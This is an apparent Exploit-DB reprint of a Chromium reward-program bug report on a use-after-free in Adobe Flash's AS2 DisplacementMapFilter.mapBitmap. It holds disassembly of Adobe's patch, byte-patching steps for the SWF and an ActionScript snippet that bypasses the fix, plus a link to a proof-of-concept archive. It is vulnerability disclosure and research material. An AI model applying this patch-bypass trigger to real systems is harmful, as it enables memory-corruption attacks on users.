Adobe Flash AS2 - DisplacementMapFilter.mapBitmap Use-After-Free (2)

Source: https://code.google.com/p/google-security-research/issues/detail?id=377&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=487237]

Credit is to bilou, working with the Chromium Vulnerability Reward Program

---
There is a use after free in Flash caused by an improper handling of BitmapData objects in the DisplacementMapFilter.mapBitmap property. 
This is almost a repost of  Issue 457680  due to a patch failure.

VERSION
Chrome Version: N/A now, Flash StandAlone Debug 17.0.0.188
Operating System: [Win7 x64 SP1]

REPRODUCTION CASE
The AS2 mapBitmap_v2_as2.fla can be compiled with Flash CS5. Some bytes must be changed manually to trigger the issue (see below).
Just put mapBitmap_v2_as2.swf in a browsable directory and run the swf with Chrome. It might crash while dereferencing 0x41424344 (hopefully, not tested yet because not available).

After compiling mapBitmap_v2_as2.swf, I had to change the bytes at offset 0x92B in the (MyBitmapData constructor):
52 17 96 02 00 04 03 26 to 17 17 17 17 17 17 17 17 (actionPOP)

The description is exactly the same as in  Issue 457680  so I won't repost it. Here are just my comments on the patch.
They basically added a marker at offset +0xDC in the flash standalone debugger (the standalone player is not available at the time of writing):

.text:005AD629 loc_5AD629:
.text:005AD629                 lea     ecx, [esi+0DCh]
.text:005AD62F                 push    edi
.text:005AD630                 mov     [ebp+1C4h+var_198], ecx
.text:005AD633                 call    xsetUseMarker

.text:0059F762                 cmp     byte ptr [ecx], 0   ; is the marker present?
.text:0059F765                 jz      short loc_59F77B
.text:0059F767                 cmp     [esp+arg_0], 0      ; is 0 provided?
.text:0059F76C                 jz      short locret_59F77E 
.text:0059F76E                 mov     ecx, dword_EE4788   ; kill the program
.text:0059F774                 call    sub_9798C0
.text:0059F779                 jmp     short locret_59F77E
.text:0059F77B
.text:0059F77B loc_59F77B:
.text:0059F77B                 mov     byte ptr [ecx], 1   ; else set the marker
.text:0059F77E
.text:0059F77E locret_59F77E:
.text:0059F77E                 retn    4


That marker is then removed when we exit the BitmapData dispatcher:

.text:005AEF29                 mov     eax, [ebp+1C4h+var_198] ; jumptable 005AD654 default case
.text:005AEF2C                 mov     byte ptr [eax], 0


So, to trigger again the issue, we just have to put an extra call to getPixel32 for example:

var o = new Object()
o.valueOf = function () {
    bd.getPixel32(1,4)          // remove the marker :)
	f()
	for (var i = 0; i<0x10;i++) {
		var tf:TextFormat = new TextFormat()
		tf.tabStops = b
		a[i] = tf
	}
	return 4
}

bd.getPixel32(o,4)


And we're done :)
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37861.zip